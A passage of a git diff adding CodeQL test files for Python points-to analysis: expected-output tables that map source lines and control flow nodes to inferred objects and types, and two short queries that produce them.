| ControlFlowNode for f() | C() | +| Module pointsto_test | 33 | ControlFlowNode for f() | D() | +| Module pointsto_test | 33 | ControlFlowNode for g | Function g | +| Module pointsto_test | 33 | ControlFlowNode for g() | C() | +| Module pointsto_test | 33 | ControlFlowNode for g() | D() | +| Module pointsto_test | 33 | ControlFlowNode for v4 | C() | +| Module pointsto_test | 33 | ControlFlowNode for v4 | D() | +| Module pointsto_test | 35 | ControlFlowNode for ClassExpr | class X | +| Module pointsto_test | 35 | ControlFlowNode for X | class X | +| Module pointsto_test | 35 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 44 | ControlFlowNode for FunctionExpr | Function deco | +| Module pointsto_test | 44 | ControlFlowNode for deco | Function deco | +| Module pointsto_test | 47 | ControlFlowNode for v1 | class C | +| Module pointsto_test | 47 | ControlFlowNode for v1 | class D | +| Module pointsto_test | 48 | ControlFlowNode for v2 | v1() | +| Module pointsto_test | 50 | ControlFlowNode for v4 | C() | +| Module pointsto_test | 50 | ControlFlowNode for v4 | D() | +| Module pointsto_test | 51 | ControlFlowNode for list | builtin-class list | +| Module pointsto_test | 53 | ControlFlowNode for FunctionExpr | Function h | +| Module pointsto_test | 53 | ControlFlowNode for h | Function h | +| Module pointsto_test | 60 | ControlFlowNode for FunctionExpr | Function j | +| Module pointsto_test | 60 | ControlFlowNode for j | Function j | +| Module pointsto_test | 62 | ControlFlowNode for dict | builtin-class dict | +| Module pointsto_test | 63 | ControlFlowNode for IntegerLiteral | int 7 | +| Module pointsto_test | 63 | ControlFlowNode for dict | int 7 | +| Module pointsto_test | 64 | ControlFlowNode for dict | int 7 | +| Module pointsto_test | 65 | ControlFlowNode for tuple | builtin-class tuple | +| Module pointsto_test | 66 | ControlFlowNode for tuple | builtin-class tuple | +| Module pointsto_test | 69 | ControlFlowNode for X | class X | +| Module pointsto_test | 70 | ControlFlowNode for X | class X | +| Module pointsto_test | 72 | ControlFlowNode for ImportExpr | Module abc | +| Module pointsto_test | 72 | ControlFlowNode for ImportMember | Function abstractmethod | +| Module pointsto_test | 72 | ControlFlowNode for abstractmethod | Function abstractmethod | +| Module pointsto_test | 73 | ControlFlowNode for abstractmethod | Function abstractmethod | +| Module pointsto_test | 75 | ControlFlowNode for C | class C | +| Module pointsto_test | 75 | ControlFlowNode for C() | C() | +| Module pointsto_test | 75 | ControlFlowNode for type | builtin-class type | +| Module pointsto_test | 75 | ControlFlowNode for type() | class C | +| Module pointsto_test | 76 | ControlFlowNode for sys | Module sys | +| Module pointsto_test | 76 | ControlFlowNode for type | builtin-class type | +| Module pointsto_test | 76 | ControlFlowNode for type() | builtin-class module | +| Module pointsto_test | 78 | ControlFlowNode for type | builtin-class type | +| Module pointsto_test | 79 | ControlFlowNode for Dict | Dict | +| Module pointsto_test | 79 | ControlFlowNode for Tuple | Tuple | +| Module pointsto_test | 79 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 79 | ControlFlowNode for type | builtin-class type | +| Module pointsto_test | 81 | ControlFlowNode for FunctionExpr | Function k | +| Module pointsto_test | 81 | ControlFlowNode for k | Function k | +| Module pointsto_test | 88 | ControlFlowNode for FunctionExpr | Function outer | +| Module pointsto_test | 88 | ControlFlowNode for outer | Function outer | +| Module pointsto_test | 95 | ControlFlowNode for FunctionExpr | Function never_none | +| Module pointsto_test | 95 | ControlFlowNode for never_none | Function never_none | +| Module pointsto_test | 104 | ControlFlowNode for FunctionExpr | Function outer_use_vars | +| Module pointsto_test | 104 | ControlFlowNode for outer_use_vars | Function outer_use_vars | +| Module pointsto_test | 112 | ControlFlowNode for FunctionExpr | Function literals_in_func | +| Module pointsto_test | 112 | ControlFlowNode for literals_in_func | Function literals_in_func | +| Module pointsto_test | 122 | ControlFlowNode for Lambda | Function lambda | +| Module pointsto_test | 122 | ControlFlowNode for y | Function lambda | +| Module pointsto_test | 124 | ControlFlowNode for FunctionExpr | Function following | +| Module pointsto_test | 124 | ControlFlowNode for following | Function following | +| Module pointsto_test | 127 | ControlFlowNode for Dict | Dict | +| Module pointsto_test | 127 | ControlFlowNode for FunctionExpr | Function params_and_defaults | +| Module pointsto_test | 127 | ControlFlowNode for IntegerLiteral | int 1 | +| Module pointsto_test | 127 | ControlFlowNode for params_and_defaults | Function params_and_defaults | +| Module pointsto_test | 132 | ControlFlowNode for FunctionExpr | Function inner_cls | +| Module pointsto_test | 132 | ControlFlowNode for inner_cls | Function inner_cls | +| Module pointsto_test | 138 | ControlFlowNode for ImportExpr | Module xyz | +| Module pointsto_test | 139 | ControlFlowNode for ImportExpr | Module xyz | +| Module pointsto_test | 139 | ControlFlowNode for xyz | Module xyz | +| Module pointsto_test | 140 | ControlFlowNode for Attribute | float 1.0 | +| Module pointsto_test | 140 | ControlFlowNode for xyz | Module xyz | +| Module pointsto_test | 141 | ControlFlowNode for z | float 3.0 | +| Module pointsto_test | 145 | ControlFlowNode for Base | class Base | +| Module pointsto_test | 145 | ControlFlowNode for ClassExpr | class Base | +| Module pointsto_test | 145 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 155 | ControlFlowNode for Base | class Base | +| Module pointsto_test | 155 | ControlFlowNode for ClassExpr | class Derived1 | +| Module pointsto_test | 155 | ControlFlowNode for Derived1 | class Derived1 | +| Module pointsto_test | 158 | ControlFlowNode for Base | class Base | +| Module pointsto_test | 158 | ControlFlowNode for ClassExpr | class Derived2 | +| Module pointsto_test | 158 | ControlFlowNode for Derived2 | class Derived2 | +| Module pointsto_test | 161 | ControlFlowNode for Base | class Base | +| Module pointsto_test | 161 | ControlFlowNode for ClassExpr | class Derived3 | +| Module pointsto_test | 161 | ControlFlowNode for Derived3 | class Derived3 | +| Module pointsto_test | 164 | ControlFlowNode for Base | class Base | +| Module pointsto_test | 167 | ControlFlowNode for FunctionExpr | Function multiple_assignment | +| Module pointsto_test | 167 | ControlFlowNode for multiple_assignment | Function multiple_assignment | +| Module pointsto_test | 173 | ControlFlowNode for Base2 | class Base2 | +| Module pointsto_test | 173 | ControlFlowNode for ClassExpr | class Base2 | +| Module pointsto_test | 173 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 180 | ControlFlowNode for Base2 | class Base2 | +| Module pointsto_test | 180 | ControlFlowNode for ClassExpr | class Derived4 | +| Module pointsto_test | 180 | ControlFlowNode for Derived4 | class Derived4 | +| Module pointsto_test | 187 | ControlFlowNode for FunctionExpr | Function vararg_kwarg | +| Module pointsto_test | 187 | ControlFlowNode for vararg_kwarg | Function vararg_kwarg | +| Module pointsto_test | 193 | ControlFlowNode for ClassExpr | class E | +| Module pointsto_test | 193 | ControlFlowNode for E | class E | +| Module pointsto_test | 193 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 206 | ControlFlowNode for FunctionExpr | Function calls_next | +| Module pointsto_test | 206 | ControlFlowNode for calls_next | Function calls_next | +| Module pointsto_test | 213 | ControlFlowNode for ImportExpr | Module sys | +| Module pointsto_test | 213 | ControlFlowNode for ImportMember | Builtin-function exit | +| Module pointsto_test | 213 | ControlFlowNode for exit | Builtin-function exit | +| Module pointsto_test | 217 | ControlFlowNode for None | NoneType None | +| Module pointsto_test | 217 | ControlFlowNode for g1 | NoneType None | +| Module pointsto_test | 219 | ControlFlowNode for FunctionExpr | Function assign_global | +| Module pointsto_test | 219 | ControlFlowNode for assign_global | Function assign_global | +| Module pointsto_test | 226 | ControlFlowNode for None | NoneType None | +| Module pointsto_test | 226 | ControlFlowNode for g2 | NoneType None | +| Module pointsto_test | 228 | ControlFlowNode for FunctionExpr | Function init | +| Module pointsto_test | 228 | ControlFlowNode for init | Function init | +| Module pointsto_test | 232 | ControlFlowNode for init | Function init | +| Module pointsto_test | 232 | ControlFlowNode for init() | NoneType None | +| Module pointsto_test | 233 | ControlFlowNode for g2 | int 102 | +| Module pointsto_test | 236 | ControlFlowNode for None | NoneType None | +| Module pointsto_test | 236 | ControlFlowNode for g3 | NoneType None | +| Module pointsto_test | 238 | ControlFlowNode for ClassExpr | class Ugly | +| Module pointsto_test | 238 | ControlFlowNode for Ugly | class Ugly | +| Module pointsto_test | 238 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 248 | ControlFlowNode for ClassExpr | class F | +| Module pointsto_test | 248 | ControlFlowNode for F | class F | +| Module pointsto_test | 248 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 254 | ControlFlowNode for ClassExpr | class G | +| Module pointsto_test | 254 | ControlFlowNode for G | class G | +| Module pointsto_test | 254 | ControlFlowNode for object | builtin-class object | +| Module pointsto_test | 267 | ControlFlowNode for Derived4 | class Derived4 | +| Module pointsto_test | 267 | ControlFlowNode for Derived4() | Derived4() | diff --git a/python/ql/test/library-tests/PointsTo/general/GlobalPointsTo.ql b/python/ql/test/library-tests/PointsTo/general/GlobalPointsTo.ql new file mode 100644 index 00000000000..147b7835e24 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/GlobalPointsTo.ql @@ -0,0 +1,10 @@ + +import python +import interesting + +from int line, ControlFlowNode f, Object o, ImportTimeScope n +where +of_interest(f, line) and +f.refersTo(o) and +f.getScope() = n +select n.toString(), line, f.toString(), o.toString() diff --git a/python/ql/test/library-tests/PointsTo/general/LocalPointsTo.expected b/python/ql/test/library-tests/PointsTo/general/LocalPointsTo.expected new file mode 100644 index 00000000000..7f132556180 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/LocalPointsTo.expected @@ -0,0 +1,341 @@ +| 17 | ControlFlowNode for Attribute | list object | +| 17 | ControlFlowNode for Compare | bool False | +| 17 | ControlFlowNode for Compare | bool True | +| 17 | ControlFlowNode for IntegerLiteral | int 2 | +| 17 | ControlFlowNode for len | Builtin-function len | +| 17 | ControlFlowNode for len() | len() | +| 17 | ControlFlowNode for sys | Module sys | +| 18 | ControlFlowNode for C | class C | +| 18 | ControlFlowNode for v1 | class C | +| 20 | ControlFlowNode for D | class D | +| 20 | ControlFlowNode for v1 | class D | +| 21 | ControlFlowNode for v1 | class C | +| 21 | ControlFlowNode for v1 | class D | +| 21 | ControlFlowNode for v1() | v1() | +| 21 | ControlFlowNode for v2 | v1() | +| 23 | ControlFlowNode for FunctionExpr | Function f | +| 23 | ControlFlowNode for f | Function f | +| 24 | ControlFlowNode for Attribute | list object | +| 24 | ControlFlowNode for Compare | bool False | +| 24 | ControlFlowNode for Compare | bool True | +| 24 | ControlFlowNode for IntegerLiteral | int 3 | +| 24 | ControlFlowNode for len | Builtin-function len | +| 24 | ControlFlowNode for len() | len() | +| 24 | ControlFlowNode for sys | Module sys | +| 25 | ControlFlowNode for C | class C | +| 25 | ControlFlowNode for C() | C() | +| 25 | ControlFlowNode for v3 | C() | +| 27 | ControlFlowNode for D | class D | +| 27 | ControlFlowNode for D() | D() | +| 27 | ControlFlowNode for v3 | D() | +| 28 | ControlFlowNode for v3 | C() | +| 28 | ControlFlowNode for v3 | D() | +| 30 | ControlFlowNode for FunctionExpr | Function g | +| 30 | ControlFlowNode for g | Function g | +| 31 | ControlFlowNode for arg | C() | +| 31 | ControlFlowNode for arg | D() | +| 33 | ControlFlowNode for f | Function f | +| 33 | ControlFlowNode for f() | C() | +| 33 | ControlFlowNode for f() | D() | +| 33 | ControlFlowNode for g | Function g | +| 33 | ControlFlowNode for g() | C() | +| 33 | ControlFlowNode for g() | D() | +| 33 | ControlFlowNode for v4 | C() | +| 33 | ControlFlowNode for v4 | D() | +| 35 | ControlFlowNode for ClassExpr | class X | +| 35 | ControlFlowNode for X | class X | +| 35 | ControlFlowNode for object | builtin-class object | +| 36 | ControlFlowNode for classmethod | builtin-class classmethod | +| 36 | ControlFlowNode for classmethod() | classmethod() | +| 37 | ControlFlowNode for FunctionExpr | Function method1 | +| 37 | ControlFlowNode for method1 | classmethod() | +| 41 | ControlFlowNode for FunctionExpr | Function method2 | +| 44 | ControlFlowNode for FunctionExpr | Function deco | +| 44 | ControlFlowNode for deco | Function deco | +| 47 | ControlFlowNode for v1 | class C | +| 47 | ControlFlowNode for v1 | class D | +| 48 | ControlFlowNode for v2 | v1() | +| 50 | ControlFlowNode for v4 | C() | +| 50 | ControlFlowNode for v4 | D() | +| 51 | ControlFlowNode for list | builtin-class list | +| 53 | ControlFlowNode for FunctionExpr | Function h | +| 53 | ControlFlowNode for h | Function h | +| 54 | ControlFlowNode for Attribute | list object | +| 54 | ControlFlowNode for Compare | bool False | +| 54 | ControlFlowNode for Compare | bool True | +| 54 | ControlFlowNode for IntegerLiteral | int 4 | +| 54 | ControlFlowNode for len | Builtin-function len | +| 54 | ControlFlowNode for len() | len() | +| 54 | ControlFlowNode for sys | Module sys | +| 55 | ControlFlowNode for C | class C | +| 55 | ControlFlowNode for C() | C() | +| 55 | ControlFlowNode for v5 | C() | +| 57 | ControlFlowNode for D | class D | +| 57 | ControlFlowNode for D() | D() | +| 57 | ControlFlowNode for v5 | D() | +| 58 | ControlFlowNode for Tuple | Tuple | +| 58 | ControlFlowNode for list | builtin-class list | +| 58 | ControlFlowNode for list() | list() | +| 58 | ControlFlowNode for v5 | C() | +| 58 | ControlFlowNode for v5 | D() | +| 60 | ControlFlowNode for FunctionExpr | Function j | +| 60 | ControlFlowNode for j | Function j | +| 61 | ControlFlowNode for Tuple | Tuple | +| 61 | ControlFlowNode for dict | int 7 | +| 61 | ControlFlowNode for tuple | builtin-class tuple | +| 62 | ControlFlowNode for dict | builtin-class dict | +| 63 | ControlFlowNode for IntegerLiteral | int 7 | +| 63 | ControlFlowNode for dict | int 7 | +| 64 | ControlFlowNode for dict | int 7 | +| 65 | ControlFlowNode for tuple | builtin-class tuple | +| 66 | ControlFlowNode for tuple | builtin-class tuple | +| 69 | ControlFlowNode for X | class X | +| 70 | ControlFlowNode for X | class X | +| 72 | ControlFlowNode for ImportExpr | Module abc | +| 72 | ControlFlowNode for ImportMember | Function abstractmethod | +| 72 | ControlFlowNode for abstractmethod | Function abstractmethod | +| 73 | ControlFlowNode for abstractmethod | Function abstractmethod | +| 75 | ControlFlowNode for C | class C | +| 75 | ControlFlowNode for C() | C() | +| 75 | ControlFlowNode for type | builtin-class type | +| 75 | ControlFlowNode for type() | class C | +| 76 | ControlFlowNode for sys | Module sys | +| 76 | ControlFlowNode for type | builtin-class type | +| 76 | ControlFlowNode for type() | builtin-class module | +| 78 | ControlFlowNode for type | builtin-class type | +| 79 | ControlFlowNode for Dict | Dict | +| 79 | ControlFlowNode for Tuple | Tuple | +| 79 | ControlFlowNode for object | builtin-class object | +| 79 | ControlFlowNode for type | builtin-class type | +| 81 | ControlFlowNode for FunctionExpr | Function k | +| 81 | ControlFlowNode for k | Function k | +| 82 | ControlFlowNode for C | class C | +| 82 | ControlFlowNode for C() | C() | +| 82 | ControlFlowNode for type | builtin-class type | +| 82 | ControlFlowNode for type() | class C | +| 83 | ControlFlowNode for sys | Module sys | +| 83 | ControlFlowNode for type | builtin-class type | +| 83 | ControlFlowNode for type() | builtin-class module | +| 84 | ControlFlowNode for type | builtin-class type | +| 85 | ControlFlowNode for Dict | Dict | +| 85 | ControlFlowNode for Tuple | Tuple | +| 85 | ControlFlowNode for object | builtin-class object | +| 85 | ControlFlowNode for type | builtin-class type | +| 88 | ControlFlowNode for FunctionExpr | Function outer | +| 88 | ControlFlowNode for outer | Function outer | +| 89 | ControlFlowNode for IntegerLiteral | int 1 | +| 89 | ControlFlowNode for y | int 1 | +| 90 | ControlFlowNode for FunctionExpr | Function inner | +| 90 | ControlFlowNode for inner | Function inner | +| 92 | ControlFlowNode for IntegerLiteral | int 2 | +| 92 | ControlFlowNode for z | int 2 | +| 93 | ControlFlowNode for inner | Function inner | +| 95 | ControlFlowNode for FunctionExpr | Function never_none | +| 95 | ControlFlowNode for never_none | Function never_none | +| 97 | ControlFlowNode for FloatLiteral | float 1.0 | +| 97 | ControlFlowNode for y | float 1.0 | +| 99 | ControlFlowNode for None | NoneType None | +| 99 | ControlFlowNode for y | NoneType None | +| 100 | ControlFlowNode for Compare | bool False | +| 100 | ControlFlowNode for Compare | bool True | +| 100 | ControlFlowNode for None | NoneType None | +| 100 | ControlFlowNode for y | NoneType None | +| 100 | ControlFlowNode for y | float 1.0 | +| 101 | ControlFlowNode for FloatLiteral | float 0.0 | +| 101 | ControlFlowNode for y | float 0.0 | +| 102 | ControlFlowNode for y | float 0.0 | +| 102 | ControlFlowNode for y | float 1.0 | +| 104 | ControlFlowNode for FunctionExpr | Function outer_use_vars | +| 104 | ControlFlowNode for outer_use_vars | Function outer_use_vars | +| 105 | ControlFlowNode for IntegerLiteral | int 1 | +| 105 | ControlFlowNode for y | int 1 | +| 106 | ControlFlowNode for FunctionExpr | Function inner | +| 106 | ControlFlowNode for inner | Function inner | +| 108 | ControlFlowNode for IntegerLiteral | int 2 | +| 108 | ControlFlowNode for z | int 2 | +| 109 | ControlFlowNode for y | int 1 | +| 109 | ControlFlowNode for z | int 2 | +| 110 | ControlFlowNode for inner | Function inner | +| 112 | ControlFlowNode for FunctionExpr | Function literals_in_func | +| 112 | ControlFlowNode for literals_in_func | Function literals_in_func | +| 113 | ControlFlowNode for True | bool True | +| 114 | ControlFlowNode for None | NoneType None | +| 115 | ControlFlowNode for IntegerLiteral | int 1346 | +| 116 | ControlFlowNode for FloatLiteral | float 0.7 | +| 117 | ControlFlowNode for ClassExpr | class X | +| 117 | ControlFlowNode for X | class X | +| 117 | ControlFlowNode for object | builtin-class object | +| 118 | ControlFlowNode for FunctionExpr | Function f | +| 118 | ControlFlowNode for f | Function f | +| 119 | ControlFlowNode for Tuple | Tuple | +| 120 | ControlFlowNode for List | List | +| 122 | ControlFlowNode for Lambda | Function lambda | +| 122 | ControlFlowNode for following | Function following | +| 122 | ControlFlowNode for following() | NoneType None | +| 122 | ControlFlowNode for y | Function lambda | +| 124 | ControlFlowNode for FunctionExpr | Function following | +| 124 | ControlFlowNode for following | Function following | +| 127 | ControlFlowNode for Dict | Dict | +| 127 | ControlFlowNode for FunctionExpr | Function params_and_defaults | +| 127 | ControlFlowNode for IntegerLiteral | int 1 | +| 127 | ControlFlowNode for params_and_defaults | Function params_and_defaults | +| 129 | ControlFlowNode for b | Dict | +| 130 | ControlFlowNode for c | int 1 | +| 132 | ControlFlowNode for FunctionExpr | Function inner_cls | +| 132 | ControlFlowNode for inner_cls | Function inner_cls | +| 133 | ControlFlowNode for A | class A | +| 133 | ControlFlowNode for BaseException | builtin-class BaseException | +| 133 | ControlFlowNode for ClassExpr | class A | +| 135 | ControlFlowNode for A | class A | +| 135 | ControlFlowNode for A() | A() | +| 135 | ControlFlowNode for a | A() | +| 136 | ControlFlowNode for a | A() | +| 138 | ControlFlowNode for ImportExpr | Module xyz | +| 139 | ControlFlowNode for ImportExpr | Module xyz | +| 139 | ControlFlowNode for xyz | Module xyz | +| 140 | ControlFlowNode for Attribute | float 1.0 | +| 140 | ControlFlowNode for xyz | Module xyz | +| 141 | ControlFlowNode for z | float 3.0 | +| 145 | ControlFlowNode for Base | class Base | +| 145 | ControlFlowNode for ClassExpr | class Base | +| 145 | ControlFlowNode for object | builtin-class object | +| 147 | ControlFlowNode for FunctionExpr | Function __init__ | +| 147 | ControlFlowNode for __init__ | Function __init__ | +| 148 | ControlFlowNode for Compare | bool False | +| 148 | ControlFlowNode for Compare | bool True | +| 148 | ControlFlowNode for IntegerLiteral | int 1 | +| 149 | ControlFlowNode for Attribute | class Derived1 | +| 149 | ControlFlowNode for Derived1 | class Derived1 | +| 149 | ControlFlowNode for self | self | +| 150 | ControlFlowNode for Compare | bool False | +| 150 | ControlFlowNode for Compare | bool True | +| 150 | ControlFlowNode for IntegerLiteral | int 2 | +| 151 | ControlFlowNode for Attribute | class Derived2 | +| 151 | ControlFlowNode for Derived2 | class Derived2 | +| 151 | ControlFlowNode for self | self | +| 153 | ControlFlowNode for Attribute | class Derived3 | +| 153 | ControlFlowNode for Derived3 | class Derived3 | +| 153 | ControlFlowNode for self | self | +| 155 | ControlFlowNode for Base | class Base | +| 155 | ControlFlowNode for ClassExpr | class Derived1 | +| 155 | ControlFlowNode for Derived1 | class Derived1 | +| 158 | ControlFlowNode for Base | class Base | +| 158 | ControlFlowNode for ClassExpr | class Derived2 | +| 158 | ControlFlowNode for Derived2 | class Derived2 | +| 161 | ControlFlowNode for Base | class Base | +| 161 | ControlFlowNode for ClassExpr | class Derived3 | +| 161 | ControlFlowNode for Derived3 | class Derived3 | +| 164 | ControlFlowNode for Base | class Base | +| 167 | ControlFlowNode for FunctionExpr | Function multiple_assignment | +| 167 | ControlFlowNode for multiple_assignment | Function multiple_assignment | +| 168 | ControlFlowNode for Tuple | Tuple | +| 168 | ControlFlowNode for _list | builtin-class list | +| 168 | ControlFlowNode for _tuple | builtin-class tuple | +| 168 | ControlFlowNode for list | builtin-class list | +| 168 | ControlFlowNode for tuple | builtin-class tuple | +| 169 | ControlFlowNode for _tuple | builtin-class tuple | +| 170 | ControlFlowNode for _list | builtin-class list | +| 173 | ControlFlowNode for Base2 | class Base2 | +| 173 | ControlFlowNode for ClassExpr | class Base2 | +| 173 | ControlFlowNode for object | builtin-class object | +| 175 | ControlFlowNode for FunctionExpr | Function __init__ | +| 175 | ControlFlowNode for __init__ | Function __init__ | +| 178 | ControlFlowNode for IntegerLiteral | int 1 | +| 178 | ControlFlowNode for x | int 1 | +| 180 | ControlFlowNode for Base2 | class Base2 | +| 180 | ControlFlowNode for ClassExpr | class Derived4 | +| 180 | ControlFlowNode for Derived4 | class Derived4 | +| 182 | ControlFlowNode for FunctionExpr | Function __init__ | +| 182 | ControlFlowNode for __init__ | Function __init__ | +| 183 | ControlFlowNode for Attribute | super().x | +| 183 | ControlFlowNode for Derived4 | class Derived4 | +| 183 | ControlFlowNode for self | self | +| 183 | ControlFlowNode for super | builtin-class super | +| 183 | ControlFlowNode for super() | super() | +| 184 | ControlFlowNode for Attribute | super().__init__ | +| 184 | ControlFlowNode for Attribute() | NoneType None | +| 184 | ControlFlowNode for Derived4 | class Derived4 | +| 184 | ControlFlowNode for self | self | +| 184 | ControlFlowNode for super | builtin-class super | +| 184 | ControlFlowNode for super() | super() | +| 187 | ControlFlowNode for FunctionExpr | Function vararg_kwarg | +| 187 | ControlFlowNode for d | d | +| 187 | ControlFlowNode for t | t | +| 187 | ControlFlowNode for vararg_kwarg | Function vararg_kwarg | +| 188 | ControlFlowNode for t | t | +| 189 | ControlFlowNode for d | d | +| 193 | ControlFlowNode for ClassExpr | class E | +| 193 | ControlFlowNode for E | class E | +| 193 | ControlFlowNode for object | builtin-class object | +| 195 | ControlFlowNode for FunctionExpr | Function _internal | +| 195 | ControlFlowNode for _internal | Function _internal | +| 197 | ControlFlowNode for FunctionExpr | Function wrapper | +| 197 | ControlFlowNode for wrapper | Function wrapper | +| 199 | ControlFlowNode for wrapper | Function wrapper | +| 201 | ControlFlowNode for _internal | Function _internal | +| 201 | ControlFlowNode for _internal() | Function wrapper | +| 202 | ControlFlowNode for FunctionExpr | Function method | +| 202 | ControlFlowNode for args | args | +| 202 | ControlFlowNode for method | Function wrapper | +| 206 | ControlFlowNode for FunctionExpr | Function calls_next | +| 206 | ControlFlowNode for calls_next | Function calls_next | +| 207 | ControlFlowNode for iter | Builtin-function iter | +| 208 | ControlFlowNode for next | Builtin-function next | +| 213 | ControlFlowNode for ImportExpr | Module sys | +| 213 | ControlFlowNode for ImportMember | Builtin-function exit | +| 213 | ControlFlowNode for exit | Builtin-function exit | +| 217 | ControlFlowNode for None | NoneType None | +| 217 | ControlFlowNode for g1 | NoneType None | +| 219 | ControlFlowNode for FunctionExpr | Function assign_global | +| 219 | ControlFlowNode for assign_global | Function assign_global | +| 221 | ControlFlowNode for IntegerLiteral | int 101 | +| 221 | ControlFlowNode for g1 | int 101 | +| 222 | ControlFlowNode for g1 | int 101 | +| 226 | ControlFlowNode for None | NoneType None | +| 226 | ControlFlowNode for g2 | NoneType None | +| 228 | ControlFlowNode for FunctionExpr | Function init | +| 228 | ControlFlowNode for init | Function init | +| 230 | ControlFlowNode for IntegerLiteral | int 102 | +| 230 | ControlFlowNode for g2 | int 102 | +| 232 | ControlFlowNode for init | Function init | +| 232 | ControlFlowNode for init() | NoneType None | +| 233 | ControlFlowNode for g2 | int 102 | +| 236 | ControlFlowNode for None | NoneType None | +| 236 | ControlFlowNode for g3 | NoneType None | +| 238 | ControlFlowNode for ClassExpr | class Ugly | +| 238 | ControlFlowNode for Ugly | class Ugly | +| 238 | ControlFlowNode for object | builtin-class object | +| 240 | ControlFlowNode for FunctionExpr | Function __init__ | +| 240 | ControlFlowNode for __init__ | Function __init__ | +| 242 | ControlFlowNode for IntegerLiteral | int 103 | +| 242 | ControlFlowNode for g3 | int 103 | +| 244 | ControlFlowNode for FunctionExpr | Function meth | +| 244 | ControlFlowNode for meth | Function meth | +| 245 | ControlFlowNode for g3 | int 103 | +| 248 | ControlFlowNode for ClassExpr | class F | +| 248 | ControlFlowNode for F | class F | +| 248 | ControlFlowNode for object | builtin-class object | +| 250 | ControlFlowNode for g3 | NoneType None | +| 251 | ControlFlowNode for g3 | NoneType None | +| 254 | ControlFlowNode for ClassExpr | class G | +| 254 | ControlFlowNode for G | class G | +| 254 | ControlFlowNode for object | builtin-class object | +| 256 | ControlFlowNode for IntegerLiteral | int 0 | +| 256 | ControlFlowNode for attr | int 0 | +| 258 | ControlFlowNode for FunctionExpr | Function __init__ | +| 258 | ControlFlowNode for __init__ | Function __init__ | +| 259 | ControlFlowNode for Attribute | int 1 | +| 259 | ControlFlowNode for IntegerLiteral | int 1 | +| 259 | ControlFlowNode for self | self | +| 261 | ControlFlowNode for FunctionExpr | Function meth | +| 261 | ControlFlowNode for meth | Function meth | +| 262 | ControlFlowNode for Attribute | int 2 | +| 262 | ControlFlowNode for IntegerLiteral | int 2 | +| 262 | ControlFlowNode for self | self | +| 263 | ControlFlowNode for Attribute | int 3 | +| 263 | ControlFlowNode for IntegerLiteral | int 3 | +| 263 | ControlFlowNode for self | self | +| 264 | ControlFlowNode for Attribute | int 3 | +| 264 | ControlFlowNode for self | self | +| 267 | ControlFlowNode for Derived4 | class Derived4 | +| 267 | ControlFlowNode for Derived4() | Derived4() | diff --git a/python/ql/test/library-tests/PointsTo/general/LocalPointsTo.ql b/python/ql/test/library-tests/PointsTo/general/LocalPointsTo.ql new file mode 100644 index 00000000000..a3e5d40486d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/LocalPointsTo.ql @@ -0,0 +1,16 @@ +/** + * @name LocalPointsTo + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python +import interesting +import Util + +from int line, ControlFlowNode f, Object o +where + of_interest(f, line) and + f.refersTo(o) +select line, f.toString(), repr(o) diff --git a/python/ql/test/library-tests/PointsTo/general/LocalPointsToType.expected b/python/ql/test/library-tests/PointsTo/general/LocalPointsToType.expected new file mode 100644 index 00000000000..2f1d347892d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/general/LocalPointsToType.expected @@ -0,0 +1,344 @@ +| 17 | ControlFlowNode for Attribute | list object | builtin-class list | +| 17 | ControlFlowNode for Compare | bool False | builtin-class bool | +| 17 | ControlFlowNode for Compare | bool True | builtin-class bool | +| 17 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | +| 17 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | +| 17 | ControlFlowNode for len() | len() | builtin-class int | +| 17 | ControlFlowNode for sys | Module sys | builtin-class module | +| 18 | ControlFlowNode for C | class C | builtin-class type | +| 18 | ControlFlowNode for v1 | class C | builtin-class type | +| 20 | ControlFlowNode for D | class D | builtin-class type | +| 20 | ControlFlowNode for v1 | class D | builtin-class type | +| 21 | ControlFlowNode for v1 | class C | builtin-class type | +| 21 | ControlFlowNode for v1 | class D | builtin-class type | +| 21 | ControlFlowNode for v1() | v1() | class C | +| 21 | ControlFlowNode for v1() | v1() | class D | +| 21 | ControlFlowNode for v2 | v1() | class C | +| 21 | ControlFlowNode for v2 | v1() | class D | +| 23 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | +| 23 | ControlFlowNode for f | Function f | builtin-class function | +| 24 | ControlFlowNode for Attribute | list object | builtin-class list | +| 24 | ControlFlowNode for Compare | bool False | builtin-class bool | +| 24 | ControlFlowNode for Compare | bool True | builtin-class bool | +| 24 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | +| 24 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | +| 24 | ControlFlowNode for len() | len() | builtin-class int | +| 24 | ControlFlowNode for sys | Module sys | builtin-class module | +| 25 | ControlFlowNode for C | class C | builtin-class type | +| 25 | ControlFlowNode for C() | C() | class C | +| 25 | ControlFlowNode for v3 | C() | class C | +| 27 | ControlFlowNode for D | class D | builtin-class type | +| 27 | ControlFlowNode for D() | D() | class D | +| 27 | ControlFlowNode for v3 | D() | class D | +| 28 | ControlFlowNode for v3 | C() | class C | +| 28 | ControlFlowNode for v3 | D() | class D | +| 30 | ControlFlowNode for FunctionExpr | Function g | builtin-class function | +| 30 | ControlFlowNode for g | Function g | builtin-class function | +| 31 | ControlFlowNode for arg | C() | class C | +| 31 | ControlFlowNode for arg | D() | class D | +| 33 | ControlFlowNode for f | Function f | builtin-class function | +| 33 | ControlFlowNode for f() | C() | class C | +| 33 | ControlFlowNode for f() | D() | class D | +| 33 | ControlFlowNode for g | Function g | builtin-class function | +| 33 | ControlFlowNode for g() | C() | class C | +| 33 | ControlFlowNode for g() | D() | class D | +| 33 | ControlFlowNode for v4 | C() | class C | +| 33 | ControlFlowNode for v4 | D() | class D | +| 35 | ControlFlowNode for ClassExpr | class X | builtin-class type | +| 35 | ControlFlowNode for X | class X | builtin-class type | +| 35 | ControlFlowNode for object | builtin-class object | builtin-class type | +| 36 | ControlFlowNode for 